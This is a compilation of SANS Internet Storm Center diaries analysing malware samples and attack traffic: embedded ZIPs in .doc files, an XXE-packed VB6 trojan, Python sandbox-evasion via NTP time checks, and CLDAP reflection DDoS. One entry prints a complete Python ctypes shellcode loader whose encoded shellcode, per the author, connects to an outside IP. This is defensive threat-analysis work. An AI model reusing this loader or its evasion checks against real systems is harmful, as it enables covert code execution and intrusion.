%%cve:2020-16873%%	No	No	Less Likely	Less Likely	Important	4.7	4.4

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

A reader asked if a particular Emotet sample was a malformed ZIP file. It is not, and I will explain why you might think it is in this diary entry.

I create an example Word document, and save it as a .doc file (OLE file).
When I look at it with my tool zipdump.py, I get this output:

Why do I get output for a ZIP file, when the .doc file is an ole file?

What the reader noticed, is that when they used my tool zipdump.py with option -f L to find and list all PKZIP record, the output showed that there was data before the first PKZIP record (p = prefix, 10566 bytes) and after the last PKZIP record (s = suffix, 12898 bytes):

We have indeed seen ZIP files with data prepended or appended, to try to fool anti-virus products. But this is not the case here.
What is going on, is that each .doc file created with Office contains an embedded ZIP file with theme data.
When I use oledump.py with its YARA option to do an ad hoc search for filename theme1.xml, I see that this string is in the 1Table stream. This is where the ZIP file is embedded:

This file theme1.xml, found in a ZIP file embedded in an OLE file (.doc), is also present in the OOXML format (.docx):

.doc files (and also .xls files) created with Microsoft Office contain an embedded ZIP file with theme data, and this ZIP file can be found with zipdump.py.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

While going over what my e-mail malware quarantine caught during this week, I found a message which made me feel rather nostalgic. Among the usual maldocs, ZIPs and ACEs, there was also an e mail carrying an XXE file in its attachment.

XXE is an archive format which uses xxencoding[1], a form of archaic binary-to-text encoding, which was historically used mainly for transferring files over e-mail[2]. Although the encoding has not been in common use for many years, some archiving utilities (e.g. WinRAR[3]) still support its use, which is why malware authors sometimes try to use this format to bypass AV scans[4]. I haven’t seen any such attempts nor mention of them for some time now though, which is why it caught my eye.

The file was generated by PowerArchiver and inside of it, there was another example of historical file format – a Visual Basic 6.0 executable. The EXE currently has a 21/68 "score" on VirusTotal[5].

Although it is fairly old, VB6.0 is still sometimes used by malware authors since it can make certain aspects of detection and analysis of their creations a bit more difficult. In this case, the code is packed and heavily obfuscated and I didn’t have time to go over it in detail yet, but from what I’ve seen so far, it seems probable that it might be a version of the GuLoader Trojan[6].

Whether this assumption turns out to be true or not, seeing a campaign, which uses xxencoding along Visual Basic 6.0 is an interesting trip down the memory lane and goes to show that even archaic technologies and formats may have a future when it comes to malware…

 

Indicators of Compromise (IoCs)

Demimonderneoverk9.exe / sRemittance REF#0450320309390223AAYUJHGXXXXX_NOTIFICATION.exe (100 kB)
MD5 - 0eae49ec06ffc2593b4d6bb0ea5a48bc
SHA1 - be57f56d3b98196c0043fa03f306757cd04abc4f

 

[1] https://en.wikipedia.org/wiki/Xxencoding
[2] http://www.math.utah.edu/cgi-bin/man2html.cgi?/usr/local/man/man1/xxencode.1
[3] https://extension.nirsoft.net/xxe
[4] https://wapacklabs.blogspot.com/2018/04/new-pony-loader-obfuscation-technique.html
[5] https://www.virustotal.com/gui/file/8759a203b452c780a8fb8b630a25e1b246fcffe34470dd7d57da1bb01984c368/details
[6] https://www.crowdstrike.com/blog/guloader-malware-analysis/

-----------
Jan Kopriva
@jk0pr
Alef Nula

I'm still hunting for interesting (read: "malicious") Python samples. By reading my previous diaries, you know that I like to find how attackers implement obfuscation and evasion techniques. Like yesterday, I found a Python sample that creates a thread to run a malicious shellcode[1]. But before processing the shellcode, it performs suspicious network traffic:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))

Contacting an NTP server is common and does not look malicious at all. The code above will query the NTP server and extract the current time:

$ python3
Python 3.5.2 (default, Jul 17 2020, 14:04:10)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from socket import AF_INET, SOCK_DGRAM
>>> import socket
>>> client = socket.socket(AF_INET, SOCK_DGRAM)
>>> client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
48
>>> msg, address = client.recvfrom( 1024 )
>>> msg
b'\x1c\x02\x03\xe8\x00\x00\x03%\x00\x00\x0b`\xcel\x00\x83\xe2\xfb! \xf9]\xab\x0c\x01\x01\x01\x01\x01\x01\x01\x01\xe2\xfb(\x99\xaf\xf7(\xa3\xe2\xfb(\x99\xaf\xf9\x18\x82'

Then, the current time is extracted and converted by unpacking the relevant bytes:

>>> import struct
>>> import datetime
>>> datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
datetime.datetime(2020, 9, 3, 10, 32, 25)

The number 2208988800 corresponds to 00:00  1 Jan 1970 GMT.

Then, the script performs a "sleep(5)" instruction and, again, contacts the NTP server. Then it compares the two received timestamps:

if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - uWMTJmeXanwCx).seconds >= 5):

If the sleep() timeout is respected, the malicious activity will be performed otherwise, it will silently exit. Why? Because many sandboxes increase their clock to speed up the analyzis of malware that, at the opposite, implement a long pause, expecting to reach the sandbox timeout. This is a cool technique!

Another test implemented in the script is a check of the amount of CPU available:

import multiprocessing
YiSUTyJ = multiprocessing.cpu_count()
if YiSUTyJ >= 1:

The test isn't very relevant in this case because it will always succeed. All systems have at least 1 CPU ;-)

I suspect the script to be a beta version or a red-team exercise because the IP address used to grab the shellcode, is a RFC-1918 IP.

The script has a VT score of 7/58 and I uploaded it on MalwareBazaar[3].

[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530/
[2] https://tools.ietf.org/rfc/rfc868.txt
[3] https://bazaar.abuse.ch/sample/a8f6a74bd11b294d3b6805da9c4157f6c042acfbef4a63c54fd3b2ec7f557170/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The Windows API is full of calls that are usually good indicators to guess the behavior of a script. In a previous diary, I wrote about some examples of "API call groups" that are clearly used together to achieve malicious activities[1]. If it is often used in PowerShell scripts, here is an interesting sample in Python that uses the same technique. It calls directly Windows API though 'ctypes'. 

As the documentation says: "ctypes[2] is a foreign function library for Python. It provides C compatible data types and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python".

The malicious script I found (SHA256:f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290) has a VT score of 4/56[3] and uses the Windows API to create a threat and inject a shellcode:

import ctypes as bDFdFAVENAp
import base64
iVjgSKooAmZu = base64.b64decode("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgDFGJ7aAIAMwCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=")
PIgkmEIUQFQZ = bDFdFAVENAp.windll.kernel32.VirtualAlloc(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x3000),bDFdFAVENAp.c_int(0x04))
bDFdFAVENAp.windll.kernel32.RtlMoveMemory(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),iVjgSKooAmZu,bDFdFAVENAp.c_int(len(iVjgSKooAmZu)))
FlvQCImqSrd = bDFdFAVENAp.windll.kernel32.VirtualProtect(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x20),bDFdFAVENAp.byref(bDFdFAVENAp.c_uint32(0)))
GZfUkqLLVTJWYM = bDFdFAVENAp.windll.kernel32.CreateThread(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.pointer(bDFdFAVENAp.c_int(0)))
bDFdFAVENAp.windll.kernel32.WaitForSingleObject(bDFdFAVENAp.c_int(GZfUkqLLVTJWYM),bDFdFAVENAp.c_int(-1))

The shellcode has Base64-encoded and is executed via the classic trio:

• VirtualAlloc - we allocate some memory for the shellcode.
• RtlMoveMemory - we copy the shellcode into the allocated memory.
• VirtualProtect - because the memory contains executable code, the flag PAGE_EXECUTE_READ (0x20) is applied on the memory zone.
• CreatedThread - we created the new threat. Note the fifth argument (NULL) which means that the thread runs immediately after creation.
• WaitForSingleObject - we need this to continue processing.

The shellcode is simple and tries to connect to an IP address: %%ip:3.20.98.123%%.

To conclude: "import ctypes" is a good indicator of suspicious activity in Python scripts running on Windows operating systems!

[1] https://isc.sans.edu/forums/diary/Malware+Triage+with+FLOSS+API+Calls+Based+Behavior/26156
[2] https://docs.python.org/3/library/ctypes.html
[3] https://www.virustotal.com/gui/file/f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

LDAP, like many UDP based protocols, has the ability to send responses that are larger than the request. With UDP not requiring any handshake before data is sent, these protocols make ideal amplifiers for reflective distributed denial of service attacks. Most commonly, these attacks abuse DNS and we have talked about this in the past. But LDAP is another protocol that is often abused.

CLDAP has been on the radar for DDoS attacks at least since 2014 (likely earlier, but this is the earliest mention I found with a little bit of Google): https://us-cert.cisa.gov/ncas/alerts/TA14-017A . But as recent as in June, CLDAP was a component of major DDoS attacks ( https://blogs.akamai.com/2020/06/akamai-mitigates-sophisticated-144-tbps-and-385-mpps-ddos-attack.html )

Some of our honeypots have been seeing a small number of the reflected packets from these attacks. In investigating them, we noticed that many of them appear to come from exposed windows domain controllers. Windows domain controllers do use LDAP for active directory and support connectionless LDAP (CLDAP) out of the box. CLDAP is part of the issue here as it supports UDP.

A quick sample from a lab system:

IP (tos 0x0, ttl 64, id 26281, offset 0, flags [none], proto UDP (17), length 67)
    172.16.29.1.65465 > 172.16.29.232.389: UDP, length 39
IP (tos 0x0, ttl 128, id 17175, offset 0, flags [none], proto UDP (17), length 3090)
    172.16.29.232.389 > 172.16.29.1.65465: UDP, length 3062

A simple 39-byte request will cause a 3062-byte response. 

Interestingly, we also see floods of SYN-ACK packets from systems scanning for CLDAP. This could be related to these systems being overloaded with traffic and responding to spoofed TCP requests for port 389 as well as UDP requests.

Here a quick Wireshark snapshot of the SYN-ACK responses. Note how they arrive in less than a second.

So what should you do? I do not know of a good reason to allow clear text LDAP (Port 389, not LDAP over TLS) across your perimeter. Close that port!

---

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|